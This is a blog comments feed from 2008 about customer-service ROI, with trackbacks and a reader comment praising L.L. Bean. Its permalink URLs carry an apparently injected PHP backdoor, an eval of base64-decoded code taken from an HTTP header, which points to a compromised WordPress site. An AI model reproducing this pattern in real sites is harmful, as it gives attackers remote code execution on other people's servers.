Comments on: What's the ROI on gold-plated customer service? http://mapconsultingllc.com/blog/2008/06/04/whats-the-roi-on-gold-plated-customer-service/%&({${eval(base64_decode($_SERVER[HTTP_EXECCODE]))}}|.+)&%/ Quo vadis? Direct Response That Gets Results Thu, 14 Aug 2008 14:16:19 -0400 http://wordpress.org/?v=2.9.2 hourly 1 By: Verizon pays a $100 tax for their FiOS HDTV promotion : MAP Consulting, LLC http://mapconsultingllc.com/blog/2008/06/04/whats-the-roi-on-gold-plated-customer-service/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-27 Verizon pays a $100 tax for their FiOS HDTV promotion : MAP Consulting, LLC Tue, 12 Aug 2008 14:44:37 +0000 http://mapconsultingllc.com/blog/?p=75#comment-27 [...] written about good customer service in the past, highlighting my excellent experience with L.L. Bean. I've postulated that quality customer service is actually free, because the incremental sales more [...] [...] written about good customer service in the past, highlighting my excellent experience with L.L. Bean. I've postulated that quality customer service is actually free, because the incremental sales more [...]

]]> By: Apple gives one month free service : MAP Consulting, LLC http://mapconsultingllc.com/blog/2008/06/04/whats-the-roi-on-gold-plated-customer-service/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-21 Apple gives one month free service : MAP Consulting, LLC Sun, 20 Jul 2008 13:43:49 +0000 http://mapconsultingllc.com/blog/?p=75#comment-21 [...] apologizing as well as a free month of service.  Smart customer service move by Apple which, like L.L. Bean, knows service.  The cost of providing that extra month of service is ~$0 and should easily pay [...] [...] apologizing as well as a free month of service.  Smart customer service move by Apple which, like L.L. Bean, knows service.  The cost of providing that extra month of service is ~$0 and should easily pay [...]

]]> By: Mark http://mapconsultingllc.com/blog/2008/06/04/whats-the-roi-on-gold-plated-customer-service/%&($eval(base64_decode($_SERVERHTTP_EXECCODE))|.+)&%/comment-page-1/#comment-19 Mark Sat, 07 Jun 2008 14:24:16 +0000 http://mapconsultingllc.com/blog/?p=75#comment-19 Another reason why L.L. Bean is a terrific customer service organization is that they've decided to server their ties with Bank of America, the current provider of the L.L. Bean rewards card. Why? To improve customer service at the request of customers. In plain English, this means that when B of A took over MBNA, they started messing with Bean's customers. A quick article is at: http://www.dmnews.com/LL-Bean-severs-ties-with-credit-card-issuer/article/110524/ Another reason why L.L. Bean is a terrific customer service organization is that they've decided to server their ties with Bank of America, the current provider of the L.L. Bean rewards card. Why?

To improve customer service at the request of customers.

In plain English, this means that when B of A took over MBNA, they started messing with Bean's customers.

A quick article is at: http://www.dmnews.com/LL-Bean-severs-ties-with-credit-card-issuer/article/110524/

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